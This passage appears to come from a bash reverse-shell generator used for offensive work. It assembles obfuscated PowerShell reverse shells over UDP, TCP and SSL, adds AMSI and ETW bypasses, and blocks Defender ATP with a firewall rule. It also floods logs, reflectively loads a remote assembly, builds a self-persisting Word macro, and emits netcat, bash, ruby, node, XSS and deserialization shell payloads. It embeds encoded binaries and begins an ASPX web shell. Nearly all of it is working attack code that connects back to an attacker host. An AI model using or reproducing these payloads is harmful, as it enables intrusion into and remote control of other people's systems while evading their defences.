prog="%programfiles%\Windows Defender Advanced Threat Protection\MsSense.exe" e=yes' mssenseps='netsh a f a r n=nonsense d=out a=block prog="%programfiles%\Windows Defender Advanced Threat Protection\MsSense.exe" e=yes' else mssense="" mssenseps="" fi #Download/Upload functions. if [ $enablefunc == 1 ] then func="function upload {\$f = \$args[0];\$uri = \$args[1];\$pa = '$updog_dir';\$n = Split-Path \$f -Leaf;\$c = [System.IO.File]::ReadAlltext(\$f);\$bo = [System.Guid]::NewGuid().ToString();\$LF = \"\`r\`n\";\$bl = (\"--\$bo\",\"Content-Disposition: form-data; name=\`\"file\`\"; filename=\`\"\$n\`\"\",\"Content-Type: application/octet-stream\$LF\",\$c,\"--\$bo\",\"Content-Disposition: form-data; name=\`\"path\`\"\$LF\",\$pa,\"--\$bo--\$LF\") -join \$LF;\$r=Invoke-RestMethod -Uri \$uri -Method Post -ContentType \"multipart/form-data; boundary=\`\"\$bo\`\"\" -Body \$bl};function download {curl \$args[0] -o \$args[1] -UseBasicParsing};" else func=";" fi #Download and run full AMSI bypass if [ $fullamsi == 1 ] then fAMSIb="IEX (New-Object System.Net.Webclient).DownloadString('$aurl');" else fAMSIb="" fi if [ $logf == 1 ] then logfill="start-job{\$t = \$(\"0\"*32700) ;For (\$i = 0; \$i -lt 200; \$i++) {Start-Process powershell.exe -WindowStyle hidden -Argument \"\$t;Exit\"}};" else logfill="" fi #Check if Windows if [[ $3 == "w" ]] then windows=1 win="-W!${space}!Hidden" at="@" #AMSI-bypass and EWT-patch AMSIb="(([Ref].Assembly.GetTypes()|?{\$_-clike'*si*s'}).GetFields(2*20)|?{\$_-clike'*Ini*'}).SetValue(\$$placeh,\$true);(([Reflection.Assembly]::LoadWithPartialName('System.Core').GetTypes()|?{\$_-clike'*i*'}).GetFields(4*13)|?{\$_-clike'*m_e*d'}).SetValue((([Ref].Assembly.GetTypes()|?{\$_-clike'*E*r'}).GetFields(104)|?{\$_-clike'*t*w*r'}).GetValue(\$null),0);" if [[ "$emfullamsi" == 1 ]] then AMSIb="$AMSIb\$$bp=\"2478203d2040220a7573696e672053797374656d3b0a7573696e672053797374656d2e52756e74696d652e496e7465726f7053657276696365733b0a7075626c696320636c6173732057696e3332207b0a202020205b446c6c496d706f727428226b65726e656c333222295d0a202020207075626c6963207374617469632065787465726e20496e745074722047657450726f634164647265737328496e7450747220684d6f64756c652c20737472696e672070726f634e616d65293b0a202020205b446c6c496d706f727428226b65726e656c333222295d0a202020207075626c6963207374617469632065787465726e20496e74507472204c6f61644c69627261727928737472696e67206e616d65293b0a202020205b446c6c496d706f727428226b65726e656c333222295d0a202020207075626c6963207374617469632065787465726e20626f6f6c205669727475616c50726f7465637428496e74507472206c70416464726573732c2055496e7450747220647753697a652c2075696e7420666c4e657750726f746563742c206f75742075696e74206c70666c4f6c6450726f74656374293b0a7d0a22400a4164642d547970652024780a2465203d205b57696e33325d3a3a4c6f61644c6962726172792822616d222b2273222b226922290a2464203d205b57696e33325d3a3a47657450726f63416464726573732824652c22416d73222b22695363616e42222b22756666657222290a2474203d20300a5b57696e33325d3a3a5669727475616c50726f746563742824642c5b75696e7433325d352c307834302c5b7265665d2474290a2469203d205b427974655b5d5d2028307842382c307835372c307830302c307830372c307838302c30784333290a5b53797374656d2e52756e74696d652e496e7465726f7053657276696365732e4d61727368616c5d3a3a436f70792824692c302c24642c3629\";\$$bp=\$$bp -split '(..)' -ne ''|% {[char][byte]\"0x\$_\"};iex(\$$bp=\$$bp -join '');" fi else windows=0 fi if [[ $4 == "udp" ]] then #UDP shell="$AMSIb$disableLog$logfill$func$fAMSIb\$$endpoint = New-Object Net.IPEndPoint ([Net.IPAddress]::Parse(\"$IP\"),$PORT);\$$client = New-Object Net.\$$placeh\"Sockets.UDPClient\"($uport, [Net.Sockets.AddressFamily]::InterNetwork);[byte[]]\$$bytes = 0..65535|%{0};\$$sendbyte = ([text.encoding]::UTF8).GetBytes(\$env:username + '$at' + \$env:computername + \"\`n\`n\");\$$client.Send(\$$sendbyte,\$$sendbyte.Length,\$$endpoint);\$$sendbyte = ([text.encoding]::UTF8).GetBytes('PS ' + (Get-Location).Path + '> ');\$$client.Send(\$$sendbyte,\$$sendbyte.Length,\$$endpoint);while(\$true){\$$receivebytes = \$$client.Receive([ref]\$$endpoint);\$$returndata = ([text.encoding]::UTF8).GetString(\$$receivebytes);\$$result = (Invoke-Expression -Command \$$returndata 2>&1 | Out-String );\$$sendback = \$$result + 'PS ' + (Get-Location).Path + '> ';\$$x = (Out-String);\$$sendback2 = \$$sendback + \$$x;\$$sendbyte = ([text.encoding]::UTF8).GetBytes(\$$sendback2);\$$client.Send(\$$sendbyte,\$$sendbyte.Length,\$$endpoint);}\$$client.Close();" elif [[ $4 == "tcp" ]] then #TCP shell="$AMSIb$disableLog$logfill$fAMSIb$func\$$ip='$IP';\$$port=$PORT;\$$socket=New-Object Net.\$$placeh\"Sockets.Socket\"([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Stream, [Net.Sockets.ProtocolType]::Tcp);\$$socket.Connect(\$$ip, \$$port);while (\$true) {\$Error.Clear();\$$input = New-Object byte[] \$$socket.ReceiveBufferSize;\$$read=\$$socket.Receive(\$$input);\$$cmd=[text.encoding]::UTF8.GetString(\$$input,0, \$$read);try {\$$output=Invoke-Expression -Command \$$cmd | Out-String;} catch {\$$output = \$_.Exception.Message+([System.Environment]::NewLine);}if (!\$$output) {\$$output = \$Error[0].Exception.Message};\$$info=(\$env:UserName)+'@'+(\$env:COMPUTERNAME)+'.'+(\$env:USERDNSDOMAIN)+([System.Environment]::NewLine)+'PS '+(get-location)+'>';\$$outbytes=[text.encoding]::UTF8.GetBytes(\$$output+\$$info);if(\$$cmd -eq ''){\$$socket.Close();exit;}else{\$$socket.Send(\$$outbytes);}}" else #SSL shell="$AMSIb$disableLog$logfill$func$fAMSIb\$$ip='$IP';\$$port=$PORT;\$$socket=New-Object Net.\$$placeh\"Sockets.Socket\"([Net.Sockets.AddressFamily]::InterNetwork, [Net.Sockets.SocketType]::Stream, [Net.Sockets.ProtocolType]::Tcp);\$$socket.Connect(\$$ip, \$$port);\$$networkStream=New-Object System.Net.\$$placeh\"Sockets.\"NetworkStream(\$$socket, \$true);\$$ssl = New-Object Net.Security\$$placeh\".SslStream\"(\$$networkStream, \$false, {\$true}, \$$placeh);\$$ssl.AuthenticateAsClient('google.com',\$$placeh,\$false);while (\$true) {\$Error.Clear();\$$input = New-Object byte[] \$$socket.ReceiveBufferSize;\$$read=\$$ssl.Read(\$$input, 0, \$$input.Length);\$$cmd=[text.encoding]::UTF8.GetString(\$$input,0, \$$read);try {\$$output = Invoke-Expression -Command \$$cmd | Out-String;} catch {\$$output = \$_.Exception.Message;}if (!\$$output) {\$$output = \$Error[0].Exception.Message;}\$$info = (\$env:UserName) + '@' + (\$env:COMPUTERNAME) + '.' + (\$env:USERDNSDOMAIN) + ([System.Environment]::NewLine) + 'PS ' + (get-location) + '>';\$$outbytes = [text.encoding]::UTF8.GetBytes(\$$output+\$$info);if ( \$$cmd -eq '' ) {\$$ssl.Close();\$$networkStream.Close();\$$socket.Close();exit;}else {\$$ssl.Write(\$$outbytes, 0, \$$outbytes.Length);}}" fi shell=$(echo -n $shell | iconv --to-code UTF-16LE | $benc --base64 -w0) if [[ $windows == 1 ]] then if [[ $poshinit == "conhost" ]] then rev="conhost --headless $mssense powershell -noprofile -executionpolicy bypass -NoExit -e ${shell}\"" elif [[ $poshinit == "powershell" ]] then if [[ $mssenseps == "" ]] then rev="iex ([string]([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(\"${shell}\"))))" else rev="$mssenseps ;iex ([string]([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(\"${shell}\"))))" fi else rev="cmd /v /c \"set ${pwsh}=${pw_sh} && set ${space}=\" \" $mssense && call !${pwsh}!!${space}!${win}!${space}!-noprofile!${space}!-executionpolicy!${space}!bypass!${space}!-NoExit!${space}!-e!${space}!${shell}\"" fi else rev="${pw_sh} -noprofile -executionpolicy bypass -NoExit -e ${shell}" fi if [[ $5 == "vba" ]] then split=$(echo "${rev//\"/\"\"}" | fold -w55) l1=$(echo -n Str = \""$split" | head -n1) l1=$(printf "$l1\"\n") re=$(echo "$split" | sed 1d | while read line; do echo "Str = Str + \"$line\"";done) rev=$(echo -e " Sub autoopen() curfile = ActiveDocument.Path & \"\\\\\" & ActiveDocument.Name templatefile = Environ(\"appdata\") & \"\\Microsoft\Templates\\\\\" & DateDiff(\"s\", #1/1/1970#, Now()) & \".dotm\" ActiveDocument.SaveAs2 FileName:=templatefile, FileFormat:=wdFormatXMLTemplateMacroEnabled, AddToRecentFiles:=True ActiveDocument.SaveAs2 FileName:=curfile, FileFormat:=wdFormatXMLDocumentMacroEnabled Documents.Add Template:=templatefile, NewTemplate:=False, DocumentType:=0 End Sub Sub autonew() Dim Str As String $l1\n$re Shell (Str) End Sub ") fi if [[ $5 == "sharpcat" ]] then url="http://$IPv4/sc.enc" if [ ! $(ps -ef | grep -c updog) == 2 ] then yellowprint "You need to serve Sharpcat base64-encoded somewhere." yellowprint "You can generate the encoded file from main menu item 13. \"Files\" and serve somewhere or localy using Updog" fi read -p "Please enter Sharpcat download url [$url]: " download_url download_url=${download_url:-$url} rev="$AMSIb[Byte[]] \$$buf = [Convert]::FromBase64String((New-Object Net.WebClient).downloadstring('$download_url'));\$$assembly=[Reflection.Assembly]::Load(\$$buf);\$$assembly.EntryPoint.Invoke(0,@(,[String[]]@(\"$IP\",\"$PORT\")))" rev=$(echo -n $rev| iconv --to-code UTF-16LE | $benc --base64 -w0) rev="cmd /c \"set ${pwsh}=powershell & set ${space}=\" \" & call %${pwsh}%%${space}%-W%${space}%Hidden%${space}%-noprofile%${space}%-executionpolicy%${space}%bypass%${space}%-NoExit%${space}%-e%${space}%${rev}\"" url="http://$IPv4/sc.enc" fi if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") fi if [[ $OS == "Darwin" ]] then echo -n "$rev" | pbcopy else echo -n "$rev" | xclip -sel c fi listen $4 } ### reflective function powershell_reflective () { placeh=$(openssl rand -hex $(shuf -i 1-11 -n1)) header if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi url="http://$IPv4/sc.enc" if [ $(ps -ef | grep -c updog) == 2 ] then amsiurl="http://$IPv4/rab.ps1" echo "This shell needs a full AMSI bypass to run." read -p "Please enter url for AMSI bypass [$amsiurl]: " aurl aurl=${aurl:-$amsiurl} fAMSIb="IEX (New-Object System.\$$placeh"Net.Webclient").DownloadString('$aurl');" else yellowprint "You need to serve the C# Shell exefile somewhere." yellowprint "You can generate the exe from main menu item 13. \"Files\" and serve somewhere or localy using Updog" yellowprint "You should also generate Rastamouse Full AMSI bypass from main menu item 13. \"Files\" and serve localy using Updog." yellowprint "Important: This shell will not run without a full AMSI bypass" fi read -p "Please enter download url [$url]: " download_url download_url=${download_url:-$url} buf=$(openssl rand -hex $(shuf -i 1-9 -n1)) bytes=$(openssl rand -hex $(shuf -i 1-11 -n1)) assembly=$(openssl rand -hex $(shuf -i 7-19 -n1)) entryPointMethod=$(openssl rand -hex $(shuf -i 1-11 -n1)) placeh=$(openssl rand -hex $(shuf -i 1-11 -n1)) space=$(shuf -er -n3 {A..Z} {a..z} | tr -d '\n') wevutil=$(shuf -er -n20 {A..Z} {a..z} | tr -d '\n') pwsh=$(shuf -er -n21 {A..Z} {a..z} | tr -d '\n') AMSIb="(([Ref].Assembly.GetTypes()|?{\$_-clike'*si*s'}).GetFields(2*20)|?{\$_-clike'*Ini*'}).SetValue(\$$placeh,\$true);" rev="$AMSIb[Byte[]] \$$buf = [Convert]::FromBase64String((New-Object Net.WebClient).downloadstring('$url'));\$$assembly=[Reflection.Assembly]::Load(\$$buf);\$$assembly.EntryPoint.Invoke(0,@(,[String[]]@(\"$IP\",\"$PORT\")))" rev=$(echo -n $rev| iconv --to-code UTF-16LE | $benc --base64 -w0) rev="cmd /c \"set ${pwsh}=powershell & set ${space}=\" \" & call %${pwsh}%%${space}%-W%${space}%Hidden%${space}%-noprofile%${space}%-executionpolicy%${space}%bypass%${space}%-NoExit%${space}%-e%${space}%${rev}\"" if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function netcat () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header if [[ $2 == "loop" ]] then rev="while true; do sleep 10 && mknod /dev/shm/p p; cat /dev/shm/p | $nshell -i | nc $IP $PORT >/dev/shm/p; done" else rev="rm /tmp/meh;mkfifo /tmp/meh; nc $IP $PORT 0</tmp/meh | $nshell >/tmp/meh 2>&1; rm /tmp/meh" fi if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function bash_i () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="sh -i >& /dev/$2/$IP/$PORT 0>&1" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen "$2" } function ruby () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="ruby -rsocket -e'spawn(\"$nshell\",[:in,:out,:err]=>TCPSocket.new(\"$IP\",$PORT))'" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function node () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="require('child_process').exec('rm /tmp/meh;mkfifo /tmp/meh; nc $IP $PORT 0</tmp/meh | $nshell >/tmp/meh 2>&1; rm /tmp/meh')" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) elif [[ $1 == "xss1" ]] then rev="<iframe/style='position:absolute;top:-9999px'/srcdoc=<svg onload=\"require('child_process').exec('rm /tmp/meh;mkfifo /tmp/meh; nc $IP $PORT 0</tmp/meh | /bin/sh >/tmp/meh 2>&1; rm /tmp/meh')\"\\>" elif [[ $1 == "xss2" ]] then rev="require('child_process').exec('rm /tmp/meh;mkfifo /tmp/meh; nc $IP $PORT 0</tmp/meh | /bin/sh >/tmp/meh 2>&1; rm /tmp/meh')" rev=$(echo -n $rev|$benc --base64url -w0) rev="><svg id=$rev onload=eval(atob(this.id))>" elif [[ $1 == "deserial" ]] then rev="[{\"rce\":\"_\$\$ND\"+\"_FUNC\$\$_func\"+\"tion(){\\nrequire('child_process').exec('rm /tmp/meh;mkfifo /tmp/meh; nc $IP $PORT 0</tmp/meh | /bin/sh >/tmp/meh 2>&1; rm /tmp/meh', function(error,\\nstdout, stderr) { console.log(stdout) });\\n}()\"}]" fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen } function open_s () { if [ $usingngrok == 1 ] then IP=$ngrokIP PORT=$ngrokPORT fi header rev="mkfifo /tmp/s; $nshell -i < /tmp/s 2>&1 | openssl s_client -quiet -connect $IP:$PORT > /tmp/s; rm /tmp/s" if [[ $1 == "url" ]] then rev=$(urlencodeme "$rev") elif [[ $1 == "urlx2" ]] then rev=$(urlencodeme "$rev") rev=$(urlencodeme "$rev") elif [[ $1 == "base64url" ]] then rev=$(echo -n $rev|$benc --base64url -w0) elif [[ $1 == "base64" ]] then rev=$(echo -n $rev|$benc --base64 -w0) fi if [[ $OS == "Darwin" ]] then echo -n $rev | pbcopy else echo -n $rev | xclip -sel c fi listen "" "open_s" } function nc_binaries () { header case $1 in Linux64) printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $ncLinux64 | base64 -d > $PWD/nc echo "Saving $1 nc: $PWD/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $ncLinux64 | base64 -d > $ans/nc echo "Saving $1 nc: $ans/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Linux32) printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $ncLinux32 | base64 -d > $PWD/nc echo "Saving $1 nc: $PWD/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $ncLinux32 | base64 -d > $ans/nc echo "Saving $1 nc: $ans/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Linuxarm64) printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $ncLinuxArm64 | base64 -d > $PWD/nc echo "Saving $1 nc: $PWD/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $ncLinuxArm64 | base64 -d > $ans/nc echo "Saving $1 nc: $ans/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Macosintel) printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $ncMacosIntel | base64 -d > $PWD/nc echo "Saving $1 nc: $PWD/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $ncMacosIntel | base64 -d > $ans/nc echo "Saving $1 nc: $ans/nc" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Windows32) echo -n $ncWindos64 | base64 -d > /tmp/nc.exe printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $ncWindos32 | base64 -d > $PWD/nc.exe echo "Saving $1 nc: $PWD/nc.exe" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $ncWindos32 | base64 -d > $ans/nc.exe echo "Saving $1 nc: $ans/nc.exe" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Windows64) echo -n $ncWindos64 | base64 -d > /tmp/nc.exe printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $ncWindos64 | base64 -d > $PWD/nc.exe echo "Saving $1 nc: $PWD/nc.exe" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $ncWindos64 | base64 -d > $ans/nc.exe echo "Saving $1 nc: $ans/nc.exe" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; cppWindows32) echo -n $simplerevW32 | base64 -d > /tmp/sr.exe printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $simplerevW32 | base64 -d > $PWD/sr.exe echo "Saving $1 simple-revshell: $PWD/sr.exe" yellowprint "Usage: sr ip port" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $simplerevW32 | base64 -d > $ans/sr.exe echo "Saving $1 simple-revshell: $ans/sr.exe" yellowprint "Usage: sr ip port" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; cppWindows64) echo -n $simplerevW64 | base64 -d > /tmp/sr.exe printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $simplerevW64 | base64 -d > $PWD/sr.exe echo "Saving $1 simple-revshell: $PWD/sr.exe" yellowprint "Usage: sr ip port" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $simplerevW64 | base64 -d > $ans/sr.exe echo "Saving $1 simple-revshell: $ans/sr.exe" yellowprint "Usage: sr ip port" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; Sharpcat) printf "Enter path for binary or press enter for $PWD:" read -r ans case $ans in "") echo -n $Sharpcatbin > $PWD/sc.enc echo "Saving $1: $PWD/sc.enc" yellowprint "Usage:" yellowprint "It is default base64 encoded. You can decode it and run it directly on a host as exe." yellowprint "Sharpcat.exe 1.1.1.1 8080" yellowprint "Or load it and execute it from memory on host, by using loader in the powershell menu: 8) Reflective loading Sharpcat" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $Sharpcatbin > $ans/sc.enc echo "Saving $1: $ans/sc.enc" yellowprint "It is default base64 encoded. You can decode it and run it directly on a host as exe" yellowprint "Sharpcat.exe 1.1.1.1 8080" yellowprint "Or load it and execute it from memory on host, by using loader in the powershell menu: 8) Reflective loading Sharpcat" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; RastamouseAmsi) if [ $(ps -ef | grep -c updog) == 2 ] then printf "Enter path for script or press enter for $updog_dir:" spath=$updog_dir else yellowprint "You need to serve the script somewhere." printf "Enter path for script or press enter for $PWD:" spath=$PWD fi echo read -r ans case $ans in "") echo -n $RastaAmsiBp| base64 -d > $PWD/rab.ps1 echo "Saving $1 bypass: $spath/rab.ps1" yellowprint "Usage:" yellowprint "IEX (New-Object System.Net.Webclient).DownloadString('http://$IPv4/rab.ps1')" echo read -p "Press enter to go back to the main menu" mainmenu ;; *) echo -n $RastaAmsiBp | base64 -d > $ans/rab.ps1 echo "Saving $1 bypass: $ans/rab.ps1" yellowprint "Usage:" yellowprint "IEX (New-Object System.Net.Webclient).DownloadString('http://$IPv4/rab.ps1')" echo read -p "Press enter to go back to the main menu" mainmenu ;; esac ;; *) echo -n "unknown" ;; esac } function webshells () { header case $1 in Insomnia) Insomnia='<%@ Page Language="C#" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Security.Principal" %>
<%@ Import Namespace="System.Data.SqlClient" %>

<script runat="server">
//--------------------------------------------------------
//    INSOMNIA SECURITY :: InsomniaShell.aspx
//
//          .aspx shell helper page
// brett.moore@insomniasec.com ::  www.insomniasec.com
//--------------------------------------------------------
// Some c token code portions borrowed from ppl such as
// Cesar Cerrudo and Matt Conover 
//--------------------------------------------------------
// Some Bollox To Do Socket Shells With .net
// throw in some more to do token impersonation
// and a bit more for namedpipe impersonation
//--------------------------------------------------------

    [StructLayout(LayoutKind.Sequential)]
    public struct STARTUPINFO
    {
        public int cb;
        public String lpReserved;
        public String lpDesktop;
        public String lpTitle;
        public uint dwX;
        public uint dwY;
        public uint dwXSize;
        public uint dwYSize;
        public uint dwXCountChars;
        public uint dwYCountChars;
        public uint dwFillAttribute;
        public uint dwFlags;
        public short wShowWindow;
        public short cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public uint dwProcessId;
        public uint dwThreadId;
    }

    [StructLayout(LayoutKind.Sequential)]
    public struct SECURITY_ATTRIBUTES
    {
        public int Length;
        public IntPtr lpSecurityDescriptor;
        public bool bInheritHandle;
    }
    
    
    [DllImport("kernel32.dll")]
    static extern bool CreateProcess(string lpApplicationName,
       string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles,
       uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
       [In] ref STARTUPINFO lpStartupInfo,
       out PROCESS_INFORMATION lpProcessInformation);

    public static uint INFINITE = 0xFFFFFFFF;
    
    [DllImport("kernel32", SetLastError = true, ExactSpelling = true)]
    internal static extern Int32 WaitForSingleObject(IntPtr handle, Int32 milliseconds);

    internal struct sockaddr_in
    {
        /// <summary>
        /// Protocol family indicator.
        /// </summary>
        public short sin_family;
        /// <summary>
        /// Protocol port.
        /// </summary>
        public short sin_port;
        /// <summary>
        /// Actual address value.
        /// </summary>
        public int sin_addr;
        /// <summary>
        /// Address content list.
        /// </summary>
        //[MarshalAs(UnmanagedType.LPStr, SizeConst=8)]
        //public string sin_zero;
        public long sin_zero;
    }

    [DllImport("kernel32.dll")]
    static extern IntPtr GetStdHandle(int nStdHandle);

    [DllImport("kernel32.dll")]
    static extern bool SetStdHandle(int nStdHandle, IntPtr hHandle);

    public const int STD_INPUT_HANDLE = -10;
    public const int STD_OUTPUT_HANDLE = -11;
    public const int STD_ERROR_HANDLE = -12;
    
    [DllImport("kernel32")]
    static extern bool AllocConsole();


    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern IntPtr WSASocket([In] AddressFamily addressFamily,
                                            [In] SocketType socketType,
                                            [In] ProtocolType protocolType,
                                            [In] IntPtr protocolInfo, 
                                            [In] uint group,
                                            [In] int flags
                                            );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
    internal static extern int inet_addr([In] string cp);
    [DllImport("ws2_32.dll")]
    private static extern string inet_ntoa(uint ip);

    [DllImport("ws2_32.dll")]
    private static extern uint htonl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern uint ntohl(uint ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort htons(ushort ip);
    
    [DllImport("ws2_32.dll")]
    private static extern ushort ntohs(ushort ip);   

    
   [DllImport("WS2_32.dll", CharSet=CharSet.Ansi, SetLastError=true)]
   internal static extern int connect([In] IntPtr socketHandle,[In] ref sockaddr_in socketAddress,[In] int socketAddressSize);

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int send(
                                [In] IntPtr socketHandle,
                                [In] byte[] pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int recv(
                                [In] IntPtr socketHandle,
                                [In] IntPtr pinnedBuffer,
                                [In] int len,
                                [In] SocketFlags socketFlags
                                );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int closesocket(
                                       [In] IntPtr socketHandle
                                       );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern IntPtr accept(
                                  [In] IntPtr socketHandle,
                                  [In, Out] ref sockaddr_in socketAddress,
                                  [In, Out] ref int socketAddressSize
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int listen(
                                  [In] IntPtr socketHandle,
                                  [In] int backlog
                                  );

    [DllImport("WS2_32.dll", CharSet = CharSet.Ansi, SetLastError = true)]
   internal static extern int bind(
                                [In] IntPtr socketHandle,
                                [In] ref sockaddr_in  socketAddress,
                                [In] int socketAddressSize
                                );


   public enum TOKEN_INFORMATION_CLASS
   {
       TokenUser = 1,
       TokenGroups,
       TokenPrivileges,
       TokenOwner,
       TokenPrimaryGroup,
       TokenDefaultDacl,
       TokenSource,
       TokenType,
       TokenImpersonationLevel,
       TokenStatistics,
       TokenRestrictedSids,
       TokenSessionId
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public static extern bool GetTokenInformation(
       IntPtr hToken,
       TOKEN_INFORMATION_CLASS tokenInfoClass,
       IntPtr TokenInformation,
       int tokeInfoLength,
       ref int reqLength);

   public enum TOKEN_TYPE
   {
       TokenPrimary = 1,
       TokenImpersonation
   }

   public enum SECURITY_IMPERSONATION_LEVEL
   {
       SecurityAnonymous,
       SecurityIdentification,
       SecurityImpersonation,
       SecurityDelegation
   }

   
   [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)]
   public extern static bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment,
       String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

   [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")]
   public extern static bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess,
       ref SECURITY_ATTRIBUTES lpThreadAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLeve, TOKEN_TYPE TokenType,
       ref IntPtr DuplicateTokenHandle);

   

   const int ERROR_NO_MORE_ITEMS = 259;

   [StructLayout(LayoutKind.Sequential)]
   struct TOKEN_USER
   {
       public _SID_AND_ATTRIBUTES User;
   }

   [StructLayout(LayoutKind.Sequential)]
   public struct _SID_AND_ATTRIBUTES
   {
       public IntPtr Sid;
       public int Attributes;
   }

   [DllImport("advapi32", CharSet = CharSet.Auto)]
   public extern static bool LookupAccountSid
   (
       [In, MarshalAs(UnmanagedType.LPTStr)] string lpSystemName, // name of local or remote computer
       IntPtr pSid, // security identifier
       StringBuilder Account, // account name buffer
       ref int cbName, // size of account name buffer
       StringBuilder DomainName, // domain name
       ref int cbDomainName, // size of domain name buffer
       ref int peUse // SID type
       // ref _SID_NAME_USE peUse // SID type
   );

